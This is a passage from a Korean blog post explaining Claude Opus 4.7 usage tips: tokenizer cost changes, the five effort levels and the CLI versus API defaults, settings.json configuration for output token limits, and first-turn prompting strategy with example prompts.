&lt;p data-ke-size=&quot;size16&quot;&gt;같은 가이드는 '명확하고 직접적으로'(Be clear and direct) 섹션에서 이렇게 표현한다. &quot;&lt;b&gt;Claude를, 당신의 업무 규범과 워크플로에 대한 맥락은 없지만 능력은 뛰어난 신입 직원이라고 생각하라. 원하는 것을 더 정확히 설명할수록 결과물이 좋아진다.&lt;/b&gt;&quot; 그리고 황금률 하나를 제시한다: &quot;프롬프트를 해당 작업에 맥락이 거의 없는 동료에게 보여주고 그대로 따르도록 해보라. 그 동료가 혼란스러워한다면, Claude도 마찬가지일 것이다.&quot; 결과물이 예전보다 못하게 느껴진다면, 4.6이 알아서 채워줬던 맥락을 이제는 직접 써야 한다는 신호다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;2-4. 새 토크나이저로 입력 토큰이 늘어날 수 있다&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앞서 언급한 토크나이저 변화는 비용&amp;middot;속도 양쪽에 모두 영향을 준다. 모델 카드는 &quot;이 새 토크나이저는 텍스트 처리 시 이전 모델 대비 약 1.0배에서 1.35배의 토큰을 사용할 수 있다&quot;고 적고 있다. 콘텐츠에 따라 다르지만, 같은 코드베이스를 같은 프롬프트로 보내도 입력 토큰이 더 많이 잡힐 수 있다. 동일 워크로드에서 비용이 올라간 것처럼 보이는 또 하나의 원인이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 3: effort 레벨 완전 해부 --&gt;
&lt;h2 style=&quot;font-size: 24px; font-weight: bold; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 10px; margin: 35px 0 20px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. effort 레벨 완전 해부 (xhigh 신규 단계 포함)&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Opus 4.7부터 effort 레벨이 5단계로 확장되었다. Anthropic API 문서가 정의한 공식 설명을 정리하면 다음과 같다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;레벨&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;공식 설명&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;권장 용도&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;구체 예시&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code&gt;low&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;가장 효율적. 일부 능력 감소를 감수하고 토큰을 크게 절약&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;간단한 조회/요약&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;단순 조회, 텍스트 변환, 비용이 중요한 대량 배치&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code&gt;medium&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;균형 접근. 적당한 토큰 절약&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;일반적인 코드 수정&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;단일 파일 수정, 코드 포매팅, 비용 민감한 배치&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code&gt;high&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;높은 능력. effort 파라미터를 설정하지 않은 것과 동일 (API 기본값)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;일반적인 코딩/추론&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;복수 세션 동시 실행, 다중 파일 변경, 비용 절감 필요 시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;&lt;code&gt;xhigh&lt;/code&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;장기 작업을 위한 확장 능력. &lt;b&gt;Opus 4.7 한정&lt;/b&gt;. &lt;b&gt;Claude Code 기본값&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;코딩&amp;middot;에이전트 작업 권장 출발점&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;API/스키마 설계, 레거시 마이그레이션, 대형 코드베이스 리뷰, 에이전트 워크플로&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code&gt;max&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;절대 최대 능력. 토큰 사용 제약 없음&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;진짜 프런티어 문제만&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;eval 최대 성능 테스트, 극히 지능 민감하고 비용 비민감한 작업&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #f8d7da; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0; border-left: 4px solid #dc3545;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;max&lt;/code&gt;는 무조건 좋은 선택이 아니다.&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;공식 문서는 &quot;진짜 프런티어 문제에만 보존해 두라. 대부분의 워크로드에서 &lt;code&gt;max&lt;/code&gt;는 상대적으로 작은 품질 향상을 위해 큰 비용을 추가하며, 일부 구조화 출력이나 지능 민감도가 낮은 작업에서는 오버싱킹으로 이어질 수 있다&quot;고 명시한다.&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;단순 코드 포매팅이나 정형화된 변환 작업에 &lt;code&gt;max&lt;/code&gt;를 쓰면 모델이 불필요하게 길게 사고하다 오히려 결과 품질이 떨어질 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3-1. CLI와 API의 기본값이 다르다&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1854&quot; data-origin-height=&quot;1100&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cVTkRW/dJMcagrKNXw/v8AnDNyXD2isWUefkW2200/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cVTkRW/dJMcagrKNXw/v8AnDNyXD2isWUefkW2200/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cVTkRW/dJMcagrKNXw/v8AnDNyXD2isWUefkW2200/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcVTkRW%2FdJMcagrKNXw%2Fv8AnDNyXD2isWUefkW2200%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1854&quot; height=&quot;1100&quot; data-origin-width=&quot;1854&quot; data-origin-height=&quot;1100&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;Claude Code 모델 설정 문서는 &quot;v2.1.117 기준 Claude Code 기본 effort는 Opus 4.7에서는 &lt;code&gt;xhigh&lt;/code&gt;, Opus 4.6과 Sonnet 4.6에서는 &lt;code&gt;high&lt;/code&gt;&quot;라고 못 박는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;API 쪽은 다르다. API 공식 문서에 따르면 &quot;API 기본값은 &lt;code&gt;high&lt;/code&gt;이다. &lt;code&gt;xhigh&lt;/code&gt;를 쓰려면 &lt;code&gt;effort&lt;/code&gt;를 명시적으로 설정해야 하며, 전달한 값이 기본값을 덮어쓴다&quot;. 즉, Claude Code CLI는 Opus 4.7 한정으로 자동 &lt;code&gt;xhigh&lt;/code&gt;이고, API는 명시 설정해야만 &lt;code&gt;xhigh&lt;/code&gt;로 올라간다. 이 차이를 모르면 &quot;API에서는 멀쩡한데 CLI는 왜 느리지?&quot; 같은 혼란이 생긴다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3-2. effort를 바꾸는 다섯 가지 방법&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1838&quot; data-origin-height=&quot;724&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wwSCD/dJMcacbPf1t/4zR3YToOqrLVdDZI6wdSN1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wwSCD/dJMcacbPf1t/4zR3YToOqrLVdDZI6wdSN1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wwSCD/dJMcacbPf1t/4zR3YToOqrLVdDZI6wdSN1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwwSCD%2FdJMcacbPf1t%2F4zR3YToOqrLVdDZI6wdSN1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1838&quot; height=&quot;724&quot; data-origin-width=&quot;1838&quot; data-origin-height=&quot;724&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;Claude Code는 effort 변경 경로를 다섯 가지 제공한다.&lt;/p&gt;
&lt;pre class=&quot;vala&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 1. /effort 커맨드 (인자 없이 실행하면 인터랙티브 슬라이더)
/effort

# 2. /model 선택 시 좌우 화살표로 effort 조정

# 3. --effort 플래그 (단일 세션 전용)
claude --effort medium

# 4. 환경 변수 (세션 간 지속됨)
export CLAUDE_CODE_EFFORT_LEVEL=high

# 5. settings 파일의 effortLevel 필드
# settings.json
# { &quot;effortLevel&quot;: &quot;high&quot; }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;같은 문서가 &quot;&lt;code&gt;low&lt;/code&gt;, &lt;code&gt;medium&lt;/code&gt;, &lt;code&gt;high&lt;/code&gt;, &lt;code&gt;xhigh&lt;/code&gt;는 세션 간 지속되지만 &lt;code&gt;max&lt;/code&gt;는 현재 세션에만 적용되고 세션 간 지속되지 않는다. 단, &lt;code&gt;CLAUDE_CODE_EFFORT_LEVEL&lt;/code&gt; 환경 변수로 설정한 경우는 예외&quot;라고 명시한다. &lt;code&gt;max&lt;/code&gt;로 실험하던 세션을 종료하면 자동으로 기본값(&lt;code&gt;xhigh&lt;/code&gt;)으로 돌아간다는 뜻이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) /effort&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1198&quot; data-origin-height=&quot;190&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yTFT7/dJMcaiJPYIb/NoiKKS4SOIizS4gCBewdc1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yTFT7/dJMcaiJPYIb/NoiKKS4SOIizS4gCBewdc1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yTFT7/dJMcaiJPYIb/NoiKKS4SOIizS4gCBewdc1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FyTFT7%2FdJMcaiJPYIb%2FNoiKKS4SOIizS4gCBewdc1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1198&quot; height=&quot;190&quot; data-origin-width=&quot;1198&quot; data-origin-height=&quot;190&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;ex) /model&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1248&quot; data-origin-height=&quot;404&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cKRApY/dJMcai37F59/bHPluWC7N67jLo3iFIhOgK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cKRApY/dJMcai37F59/bHPluWC7N67jLo3iFIhOgK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cKRApY/dJMcai37F59/bHPluWC7N67jLo3iFIhOgK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcKRApY%2FdJMcai37F59%2FbHPluWC7N67jLo3iFIhOgK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1248&quot; height=&quot;404&quot; data-origin-width=&quot;1248&quot; data-origin-height=&quot;404&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3-3. xhigh/max에서는 max_tokens도 같이 올려야 한다&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1958&quot; data-origin-height=&quot;1096&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/r1ONe/dJMcaiiNESR/NujfB65oQO9tWF23MPL1xK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/r1ONe/dJMcaiiNESR/NujfB65oQO9tWF23MPL1xK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/r1ONe/dJMcaiiNESR/NujfB65oQO9tWF23MPL1xK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fr1ONe%2FdJMcaiiNESR%2FNujfB65oQO9tWF23MPL1xK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1958&quot; height=&quot;1096&quot; data-origin-width=&quot;1958&quot; data-origin-height=&quot;1096&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;공식 문서는 &quot;Claude Opus 4.7을 &lt;code&gt;xhigh&lt;/code&gt;나 &lt;code&gt;max&lt;/code&gt; effort로 실행할 때, 모델이 서브에이전트와 도구 호출 사이에서 사고하고 행동할 공간을 갖도록 큰 &lt;code&gt;max_tokens&lt;/code&gt;를 설정하라. &lt;b&gt;64k 토큰부터 시작해 튜닝하는 것이 합리적인 기본값&lt;/b&gt;&quot;이라고 명시한다.&amp;nbsp;64k는 직접 인용된 수치다. 무작정 늘리지 말고 64k부터 워크로드에 맞춰 조정하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;실제 설정은 &lt;code&gt;~/.claude/settings.json&lt;/code&gt;의 환경변수로 한다.&lt;/b&gt; &lt;code&gt;maxTokens&lt;/code&gt; 필드가 아니라 &lt;code&gt;env.CLAUDE_CODE_MAX_OUTPUT_TOKENS&lt;/code&gt;에 문자열로 지정하는 방식이다.&lt;/p&gt;
&lt;pre class=&quot;json&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; padding: 18px 20px; border-radius: 8px; overflow-x: auto; line-height: 1.6; margin: 12px 0;&quot; data-ke-language=&quot;json&quot;&gt;&lt;code&gt;{
  &quot;env&quot;: {
    &quot;CLAUDE_CODE_MAX_OUTPUT_TOKENS&quot;: &quot;65536&quot;
  },
  &quot;effortLevel&quot;: &quot;xhigh&quot;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나의 경우는 멀티에이전트 파이프라인 작업이 많아 &lt;code&gt;&quot;CLAUDE_CODE_MAX_OUTPUT_TOKENS&quot;: &quot;128000&quot;&lt;/code&gt;으로 올려서 쓰고 있다. 서브에이전트가 여러 도구 호출을 연달아 처리하다 보면 64k도 빠듯한 경우가 생기기 때문이다. 단순 코딩 세션이라면 64k가 충분하고, 에이전트가 길게 이어지는 작업이라면 128k까지 올려볼 것을 권한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3-4. 얕게 답하면 프롬프트가 아니라 effort를 올려라&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Anthropic은 4.7의 effort 추종 정책 자체가 4.6보다 엄격해졌다고 밝힌다. &quot;Claude Opus 4.7은 Claude Opus 4.6보다 effort 레벨을 더 엄격하게 존중하며, 특히 &lt;code&gt;low&lt;/code&gt;와 &lt;code&gt;medium&lt;/code&gt;에서 그렇다. 낮은 effort에서는 모델이 요청된 범위로 작업을 한정하며 그 이상을 시도하지 않는다. Claude Opus 4.7로 복잡한 문제에서 얕은 추론이 관찰된다면, 프롬프트로 우회하지 말고 effort를 올려야 한다&quot;. 4.6에서는 &quot;Think step by step&quot;을 추가하면 어느 정도 효과가 있었지만, 4.7에서는 그런 우회가 잘 안 통한다. 깊이 있는 답이 필요하면 effort 자체를 올려야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 4: 첫 턴 프롬팅 전략 --&gt;
&lt;h2 style=&quot;font-size: 24px; font-weight: bold; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 10px; margin: 35px 0 20px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 첫 턴 프롬팅 전략&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;베스트 프랙티스 가이드는 4.7의 토큰 효율을 끌어올리는 가장 강력한 레버로 &quot;첫 턴 프롬팅&quot;을 꼽는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;4-1. 첫 턴에 의도&amp;middot;제약&amp;middot;인수 기준&amp;middot;파일 위치를 모두 담아라&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1960&quot; data-origin-height=&quot;1066&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/L3Vdi/dJMcaiwjMz7/gINAYCF5IW98JZqYrlmrVk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/L3Vdi/dJMcaiwjMz7/gINAYCF5IW98JZqYrlmrVk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/L3Vdi/dJMcaiwjMz7/gINAYCF5IW98JZqYrlmrVk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FL3Vdi%2FdJMcaiwjMz7%2FgINAYCF5IW98JZqYrlmrVk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1960&quot; height=&quot;1066&quot; data-origin-width=&quot;1960&quot; data-origin-height=&quot;1066&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;가이드는 &quot;첫 턴에 작업을 명세하라. 의도, 제약, 인수 기준, 관련 파일 위치를 포함한 잘 정의된 작업 설명이 Opus 4.7에게 더 강력한 결과물을 내기 위한 컨텍스트를 제공한다&quot;고 적는다. 앞서 본 모델 카드의 &quot;지시를 더 문자 그대로 따른다&quot;와 합치면, 첫 턴에 부족했던 컨텍스트를 모델이 추측으로 채우지 않는다는 뜻이 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실전 예시를 들면 이렇다. 많은 사용자가 Claude Code를 쓸 때 대화를 조금씩 쪼갠다. &quot;이 파일 봐줘&quot; &amp;rarr; &quot;여기 버그 있어?&quot; &amp;rarr; &quot;그럼 고쳐줘.&quot; 자연스러운 흐름처럼 보이지만, Opus 4.7에서는 이것이 비효율을 만든다.&lt;/p&gt;
&lt;div style=&quot;background: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;안 좋은 패턴 (멀티턴)&lt;/b&gt;&lt;br /&gt;1턴: &quot;auth 모듈 봐줘&quot;&lt;br /&gt;2턴: &quot;여기 버그 있어?&quot;&lt;br /&gt;3턴: &quot;고쳐줘. 테스트도 추가해&quot;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;좋은 패턴 (첫 턴 풀스펙)&lt;/b&gt;&lt;br /&gt;&quot;src/auth/login.ts의 세션 만료 처리 로직에 버그가 있다. 만료된 토큰이 갱신 없이 통과되는 문제다. 수정 후 tests/auth/ 아래에 단위 테스트를 추가해줘. 기존 테스트는 깨지면 안 된다.&quot;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;4-2. 사용자 인터랙션을 줄이고 질문은 묶어라&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2038&quot; data-origin-height=&quot;1108&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cJ98R9/dJMcagkYOCM/0z3Bu3ygnOTQbfmh2KFKKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cJ98R9/dJMcagkYOCM/0z3Bu3ygnOTQbfmh2KFKKk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cJ98R9/dJMcagkYOCM/0z3Bu3ygnOTQbfmh2KFKKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcJ98R9%2FdJMcagkYOCM%2F0z3Bu3ygnOTQbfmh2KFKKk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2038&quot; height=&quot;1108&quot; data-origin-width=&quot;2038&quot; data-origin-height=&quot;1108&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;가이드는 또 &quot;필요한 사용자 인터랙션 수를 줄이고 질문을 배치로 묶어라. 매 사용자 턴마다 추론 오버헤드가 추가된다&quot;고 명시한다.&lt;/p&gt;
&lt;div style=&quot;background: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;Every user turn adds reasoning overhead. Batch your questions and give the model the context it needs to keep moving.&quot;&lt;br /&gt;&lt;span style=&quot;color: #555; font-size: 14px;&quot;&gt;(모든 사용자 턴은 추론 오버헤드를 추가한다. 질문을 묶고, 모델이 계속 진행할 수 있도록 필요한 컨텍스트를 한 번에 제공하라.)&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4.7은 사용자 턴 직후에도 길게 사고하므로, 한 번에 5개를 물어보는 대화 한 번이 5번 짧게 묻는 대화보다 훨씬 토큰 효율이 좋다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;4-3. interactive와 asynchronous는 전략이 다르다&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1986&quot; data-origin-height=&quot;1098&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Acrv7/dJMcacCUN3l/VvNYojSyg9oukKyKq2NxXk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Acrv7/dJMcacCUN3l/VvNYojSyg9oukKyKq2NxXk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Acrv7/dJMcacCUN3l/VvNYojSyg9oukKyKq2NxXk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAcrv7%2FdJMcacCUN3l%2FVvNYojSyg9oukKyKq2NxXk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1986&quot; height=&quot;1098&quot; data-origin-width=&quot;1986&quot; 